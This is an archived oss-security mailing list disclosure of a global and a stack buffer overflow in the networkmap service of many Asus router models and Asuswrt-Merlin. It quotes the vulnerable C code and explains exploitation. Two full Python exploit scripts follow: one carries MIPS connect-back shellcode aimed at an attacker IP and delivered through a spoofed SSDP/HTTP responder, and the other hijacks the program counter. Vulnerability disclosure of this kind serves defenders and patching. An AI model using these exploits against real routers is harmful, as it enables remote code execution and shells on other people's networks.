|
Message-ID: <tencent_604D7B6374A98B9E75161D4B@qq.com> Date: Wed, 12 Jul 2017 15:52:16 +0800 From: "逢坂河河、、" <598930392@...com> To: "oss-security" <oss-security@...ts.openwall.com> Subject: Asus wireless routers Global buffer overflow and Stack buffer overflow in networkmap ============================================================= Global buffer overflow ============================================================= [Vulnerability]: Global buffer overflow in networkmap ------------------------------------------ [Exploitation]: Can write data at any address in heap ------------------------------------------ [Vendor of Product]: Asus wireless router ------------------------------------------ [Affected Products and firmware version]: Asuswrt-Merlin ,all the firmware and the latest firmware is 380.66_6 RT-AC5300 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT_AC1900P ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC68U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC68P ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC88U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC66U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC66U_B1 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC58U ,all the firmware,and the latest firmware is 3.0.0.4.380.7485 RT-AC56U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC55U ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT-AC52U ,all the firmware,and the latest firmware is 3.0.0.4.380.4180 RT-AC51U ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT-N18U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-N66U ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT-N56U ,all the firmware,and the latest firmware is 3.0.0.4.378.7177 RT-AC3200 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC3100 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT_AC1200GU ,all the firmware,and the latest firmware is 3.0.0.4.380.5577 RT_AC1200G ,all the firmware,and the latest firmware is 3.0.0.4.380.3167 RT-AC1200 ,all the firmware,and the latest firmware is 3.0.0.4.380.9880 RT-AC53 ,all the firmware,and the latest firmware is 3.0.0.4.380.9883 RT-N12HP ,all the firmware,and the latest firmware is 3.0.0.4.380.2943 RT-N12HP_B1 ,all the firmware,and the latest firmware is 3.0.0.4.380.3479 RT-N12D1 ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT-N12+ ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT_N12+_PRO ,all the firmware,and the latest firmware is 3.0.0.4.380.9880 RT-N16 ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT-N300 ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 ------------------------------------------ [Attack Type]: Remote ------------------------------------------ [Can Cause Denial of Service?]: yes ------------------------------------------ [Reference]: https://github.com/RMerl/asuswrt-merlin/blob/master/release/src/router/networkmap/function.c#L903-L1032 http://asuswrt.lostrealm.ca/ https://www.asus.com/Networking/RTN12HP_B1/HelpDesk_Download/ (chose the others can download the firmware sourcecode) https://www.asus.com/Networking/Wireless-Routers-Products/ ------------------------------------------ [Discoverer]: Tianfeng Guan, pkav of Sichuan Silent Information Technology Company Ltd, http://www.silence.com.cn/ ------------------------------------------ [Affected components]: Affected executable application: networkmap Affected source code file: \release\src\router\networkmap\function.c Affected function: store_description(char *msg) ------------------------------------------ [Vulnerability description]: When the function process_device_repsonse of networkmap is parsing the SSDP answer from a device and the SSDP answer has indicated the location like: HTTP/1.1 200 OK Location:HTTP://host:port/path If the "HTTP://host:port/path" is valid, the networkmap will get the device descirption xml by accessing "HTTP://host:port/path",and it will use the function store_description to store the device descirption information to global sturct device_info. In the function store_description,there's no limit to the variable s_num, so that it can cause the global sturct device_info overflow when copy the data from tmp to description.service[s_num].url . ------------------------------------------ [Vulnerability details]: In the \release\src\router\networkmap\function.c, It define the global struct device_info description and the function store_description: ... struct device_info description; ... void store_description(char *msg) { ... int s_num = 0; ... while( p!= NULL && p < body) { ... switch(type) { ... case 7: strlcpy(description.service[s_num].url, tmp, sizeof(description.service[s_num].url)); NMP_DEBUG_F("service %d url = %s\n", s_num, tmp); s_num++; break; } } ... } You can see that the s_num variable is incremented in case 7, But in the while( p!= NULL && p < body),it never check the s_num variable. And in the \release\src\router\networkmap\networkmap.h,it define the struct device_info: ... #define LINE_SIZE 200 #define SERVICE_NUM 10 struct service { char name[LINE_SIZE]; char url[LINE_SIZE]; }; struct device_info { char friendlyname[LINE_SIZE]; char manufacturer[LINE_SIZE]; char description[LINE_SIZE]; char modelname[LINE_SIZE]; char modelnumber[LINE_SIZE]; char presentation[LINE_SIZE]; struct service service[SERVICE_NUM]; int service_num; }; Because SERVICE_NUM = 10,so,in the case 7 which in the function store_description, when the s_num variable has be incremented and the s_num > 10, the data copy to struct device_info description.service[s_num].url will overflow. ------------------------------------------ [Exploitation details]: When the networkmap get the device descirption xml by accessing "HTTP://host:port/path", we can respond a device descirption xml like: <?xml><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL>shellcode<></root> the shellcode will be written to the memory that out of the global struct device_info description. And then,because the memory maps for networkmap is: admin@...N12HP_B1:/# cat /proc/$(pidof networkmap)/maps 00400000-0040a000 r-xp 00000000 1f:02 104 /usr/sbin/networkmap 0041a000-0041b000 rw-p 0000a000 1f:02 104 /usr/sbin/networkmap 0041b000-00420000 rwxp 0041b000 00:00 0 [heap] 2aaa8000-2aaae000 r-xp 00000000 1f:02 733 /lib/ld-uClibc.so.0 2aaae000-2aaaf000 rw-p 2aaae000 00:00 0 2aab0000-2aab6000 rw-s 00000000 00:07 0 /SYSV000003e9 (deleted) 2aab6000-2aaba000 rw-s 00000000 00:07 32769 /SYSV000003ea (deleted) 2aabd000-2aabe000 r--p 00005000 1f:02 733 /lib/ld-uClibc.so.0 2aabe000-2aabf000 rw-p 00006000 1f:02 733 /lib/ld-uClibc.so.0 2aabf000-2aaeb000 r-xp 00000000 1f:02 164 /usr/lib/libshared.so 2aaeb000-2aafa000 ---p 2aaeb000 00:00 0 2aafa000-2aafe000 rw-p 0002b000 1f:02 164 /usr/lib/libshared.so 2aafe000-2ab0f000 rw-p 2aafe000 00:00 0 2ab0f000-2ab11000 r-xp 00000000 1f:02 235 /usr/lib/libnvram.so 2ab11000-2ab21000 ---p 2ab11000 00:00 0 2ab21000-2ab22000 rw-p 00002000 1f:02 235 /usr/lib/libnvram.so 2ab22000-2ab30000 r-xp 00000000 1f:02 732 /lib/libgcc_s.so.1 2ab30000-2ab40000 ---p 2ab30000 00:00 0 2ab40000-2ab41000 rw-p 0000e000 1f:02 732 /lib/libgcc_s.so.1 2ab41000-2ab79000 r-xp 00000000 1f:02 728 /lib/libc.so.0 2ab79000-2ab89000 ---p 2ab79000 00:00 0 2ab89000-2ab8a000 rw-p 00038000 1f:02 728 /lib/libc.so.0 2ab8a000-2ab8e000 rw-p 2ab8a000 00:00 0 2ab8e000-2ab96000 r--s 00000000 00:0b 297 /dev/nvram 7fc20000-7fc35000 rwxp 7fc20000 00:00 0 [stack] 7fff7000-7fff8000 r-xp 7fff7000 00:00 0 [vdso] Both the Program address and the Heap address are not randomized and Continuous. So when the global struct device_info overflow ,the shellcode could be write to the heap ,and the shellcode address in the heap is fixed and Controllable. ------------------------------------------ [exp.py]: # Tested product and firmware version: # RT-N12HP_B1 (3.0.0.4.380.3479) # coding=utf-8 ROUTER_IP = '192.168.2.1' #asus wireless router ip IP = '192.168.2.31' #attacker ip INTERACE = 'eth0' #attacker host network interface CONNECTBACK_IP = '192.168.2.31' #the host ip use for connectback shell shellcode #the default connectback port is 30583 import time import socket import sys import os import threading import socketserver sc = '<?xml><SCPDURL>' sc += '<>' sc += '<SCPDURL>' sc += '<>' sc += '<SCPDURL>' sc += '<>' sc += '<SCPDURL>' sc += '<>' sc += '<SCPDURL>' sc += '<>' sc += '<SCPDURL>' sc += '<>' sc += '<SCPDURL>' sc += '<>' sc += '<SCPDURL>' sc += '<>' sc += '<SCPDURL>' sc += '<>' sc += '<SCPDURL>' sc += '<>' sc += '<SCPDURL>' sc += b'\xff\xff\x04\x28' sc += b'\xbb\x0f\x02\x24' sc += b'\x0c\x01\x01\x01' sc += b'\xfa\xff\x0f\x24' sc += b'\x27\x78\xe0\x01' sc += b'\xfd\xff\xe4\x21' sc += b'\xfd\xff\xe5\x21' sc += b'\xff\xff\x06\x28' sc += b'\x57\x10\x02\x24' sc += b'\x0c\x01\x01\x01' sc += b'\xff\xff\xa2\xaf' sc += b'\xff\xff\xa4\x8f' sc += b'\xfd\xff\x11\x24' sc += b'\x27\x88\x20\x02' sc += b'\xe2\xff\xb1\xa7' sc += b'\x77\x77\x0e\x24' sc += b'\xe4\xff\xae\xa7' sc += socket.inet_aton(CONNECTBACK_IP)[0] + socket.inet_aton(CONNECTBACK_IP)[1] + b'\x0e\x34' sc += b'\xe6\xff\xae\xa7' sc += socket.inet_aton(CONNECTBACK_IP)[2] + socket.inet_aton(CONNECTBACK_IP)[3] + b'\x0e\x24' sc += b'\xe8\xff\xae\xa7' sc += b'\xe2\xff\xa5\x27' sc += b'\xef\xff\x0c\x24' sc += b'\x27\x30\x80\x01' sc += b'\x4a\x10\x02\x24' sc += b'\x0c\x01\x01\x01' sc += b'\x21\x28\x20\x02' sc += b'\xdf\x0f\x02\x24' sc += b'\x0c\x01\x01\x01' sc += b'\xff\xff\x10\x24' sc += b'\xff\xff\x31\x22' sc += b'\xfa\xff\x30\x16' sc += b'\xff\xff\x06\x28' sc += b'\x2f\x2f\x0f\x24' sc += b'\xec\xff\xaf\xa7' sc += b'\x62\x69\x0f\x24' sc += b'\xee\xff\xaf\xa7' sc += b'\x6e\x2f\x0e\x24' sc += b'\xf0\xff\xae\xa7' sc += b'\x73\x68\x0e\x24' sc += b'\xf2\xff\xae\xa7' sc += b'\xf4\xff\xa0\xaf' sc += b'\xec\xff\xa4\x27' sc += b'\xf8\xff\xa4\xaf' sc += b'\xfc\xff\xa0\xaf' sc += b'\xf8\xff\xa5\x27' sc += b'\xab\x0f\x02\x24' sc += b'\x0c\x01\x01\x01' sc += '<></root>' def mac(): os.system('macchanger -A {}'.format(INTERACE)) os.system('ifconfig {} down; ifconfig {} {} up; route add default gw {};'.format(INTERACE, INTERACE, IP, ROUTER_IP)) class ThreadedHTTPRequestHandler(socketserver.BaseRequestHandler): def handle(self): print('[-] got shellcode request') self.request.recv(1024) print("[-] sending shellcode") self.request.send(sc) class ThreadedHTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer): pass socketserver.TCPServer.allow_reuse_address = True server = ThreadedHTTPServer(('0.0.0.0', 1337), ThreadedHTTPRequestHandler) t = threading.Thread(target=server.serve_forever) t.start() print("[-] Please opens a new terminal and use ping ROUTER_IP to Speed up SSDP network interaction") addrinfo = socket.getaddrinfo('239.255.255.250', None)[0] s = socket.socket(addrinfo[0], socket.SOCK_DGRAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('239.255.255.250', 1900)) s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, socket.inet_aton(addrinfo[4][0]) + socket.inet_aton('0.0.0.0')) mac() times = 0 state = 'Overflow' while True: data, sender = s.recvfrom(1500) if sender[0] == ROUTER_IP and sender[1] == 1008: print("[-] received SSDP M-SEARCH Package") data = {} data['Overflow'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + IP.encode() + b':1337/A\r\n\r\n' sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) sock.sendto(data[state], sender) if state == 'Overflow': print("[-] Send the GetXmlRequest to router") time.sleep(20) os._exit(0) ============================================================= Stack buffer overflow ============================================================= [Vulnerability]: Stack buffer overflow in networkmap ------------------------------------------ [Exploitation]: Can control the $pc. Together with the above Global buffer overflow vulnerability, can remote code execution and then get a connectback shell. ------------------------------------------ [Vendor of Product]: Asus wireless router ------------------------------------------ [Affected Products and firmware version]: Asuswrt-Merlin ,all the firmware and the latest firmware is 380.66_6 RT-AC5300 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT_AC1900P ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC68U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC68P ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC88U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC66U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC66U_B1 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC58U ,all the firmware,and the latest firmware is 3.0.0.4.380.7485 RT-AC56U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC55U ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT-AC52U ,all the firmware,and the latest firmware is 3.0.0.4.380.4180 RT-AC51U ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT-N18U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-N66U ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT-N56U ,all the firmware,and the latest firmware is 3.0.0.4.378.7177 RT-AC3200 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC3100 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT_AC1200GU ,all the firmware,and the latest firmware is 3.0.0.4.380.5577 RT_AC1200G ,all the firmware,and the latest firmware is 3.0.0.4.380.3167 RT-AC1200 ,all the firmware,and the latest firmware is 3.0.0.4.380.9880 RT-AC53 ,all the firmware,and the latest firmware is 3.0.0.4.380.9883 RT-N12HP ,all the firmware,and the latest firmware is 3.0.0.4.380.2943 RT-N12HP_B1 ,all the firmware,and the latest firmware is 3.0.0.4.380.3479 RT-N12D1 ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT-N12+ ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT_N12+_PRO ,all the firmware,and the latest firmware is 3.0.0.4.380.9880 RT-N16 ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT-N300 ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 ------------------------------------------ [Attack Type]: Remote ------------------------------------------ [Can Cause Denial of Service?]: yes ------------------------------------------ [Reference]: https://github.com/RMerl/asuswrt-merlin/blob/master/release/src/router/networkmap/function.c#L903-L1032 http://asuswrt.lostrealm.ca/ https://www.asus.com/Networking/RTN12HP_B1/HelpDesk_Download/ (chose the others can download the firmware sourcecode) https://www.asus.com/Networking/Wireless-Routers-Products/ ------------------------------------------ [Discoverer]: Tianfeng Guan, pkav of Sichuan Silent Information Technology Company Ltd, http://www.silence.com.cn/ ------------------------------------------ [Affected components]: Affected executable application: networkmap Affected source code file: \release\src\router\networkmap\function.c Affected function: store_description(char *msg) ------------------------------------------ [Vulnerability details]: When the function process_device_repsonse of networkmap is parsing the SSDP answer from a device and the SSDP answer has indicated the location like: HTTP/1.1 200 OK Location:HTTP://host:port/path If the "HTTP://host:port/path" is valid, the networkmap will get the device descirption xml by accessing "HTTP://host:port/path",and it will use the function store_description to store the device descirption information to global sturct device_info. In the switch case 6 which in the function store_description: case 6: // tmp="urn:schemas-upnp-org:service:serviceType:v" mxend = tmp; i = 0; j = 0; while(i != 4) { if(i == 3) tmp[j++] = *mxend; if(*mxend == ':') i++; mxend++; } tmp[j-1] = '\0'; strlcpy(description.service[s_num].name, tmp, sizeof(description.service[s_num].name)); NMP_DEBUG_F("service %d name = %s\n", s_num, tmp); break; if it couldn't found the fourth ':' in the stack, the stack buffer tmp will be overflow, and this stack-based overflow can be used to gain control over networkmap’s control flow by overwriting the saved $ra stored on the stack. ------------------------------------------ [Exploitation details]: when answer the SSDP request, we can send the SSDP answer message like: 'HTTP/1.1 200 OK\r\nLocation:HTTP://192.168.2.31:1337/' + 'B'*231 + b'\x41\x41\x41:' + '\r\n\r\n' And When the networkmap get the device descirption xml by accessing "HTTP://192.168.2.31:1337/", we can respond a device descirption xml like: <?xml><serviceType>AAAA<></root> And then, after the code in case 6,the stack buffer tmp will be overflow,and the data start from stack buffer tmp will become 'B'*231 + b'\x41\x41\x41', and it lead to the $ra and $pc being set to 0x00414141. Now we can control the $pc by overwriting the saved $ra stored on the stack. For further exploitation,to get a ConnectBack shell,we can use the "Write data at any address in heap" vulnerability which also in function store_description, to write the ConnectBack shell shellcode on a fixed heap address,and then we can use this Code Execution vulnerability to let $pc be set as the ConnectBack shell shellcode address. ------------------------------------------ [exp.py]: # Tested product and firmware version: # RT-N12HP_B1 (3.0.0.4.380.3479) # coding=utf-8 ROUTER_IP = '192.168.2.1' #asus wireless router ip IP = '192.168.2.31' #attacker ip INTERACE = 'eth0' #attacker host network interface import time import socket import sys import os import threading import socketserver sc = '<?xml>' sc += '<serviceType>' sc += b'AAAA' * 49 sc += 'AA<></root>' def mac(): os.system('macchanger -A {}'.format(INTERACE)) os.system('ifconfig {} down; ifconfig {} {} up; route add default gw {};'.format(INTERACE, INTERACE, IP, ROUTER_IP)) class ThreadedHTTPRequestHandler(socketserver.BaseRequestHandler): def handle(self): print('[-] got xml request') self.request.recv(1024) print("[-] sending xml") self.request.send(sc) class ThreadedHTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer): pass socketserver.TCPServer.allow_reuse_address = True server = ThreadedHTTPServer(('0.0.0.0', 1337), ThreadedHTTPRequestHandler) t = threading.Thread(target=server.serve_forever) t.start() print("[-] Please opens a new terminal and use ping ROUTER_IP to Speed up SSDP network interaction") addrinfo = socket.getaddrinfo('239.255.255.250', None)[0] s = socket.socket(addrinfo[0], socket.SOCK_DGRAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('239.255.255.250', 1900)) s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, socket.inet_aton(addrinfo[4][0]) + socket.inet_aton('0.0.0.0')) mac() times = 0 state = 'Overflow' while True: data, sender = s.recvfrom(1500) if sender[0] == ROUTER_IP and sender[1] == 1008: print("[-] received SSDP M-SEARCH Package") data = {} data['Overflow'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + IP.encode() + b':1337/' + 'B'*231 + b'\xe0\xbb\x41:' + '\r\n\r\n' sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) sock.sendto(data[state], sender) if state == 'Overflow': print("[-] Send the GetXmlRequest to router") time.sleep(20) os._exit(0)
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.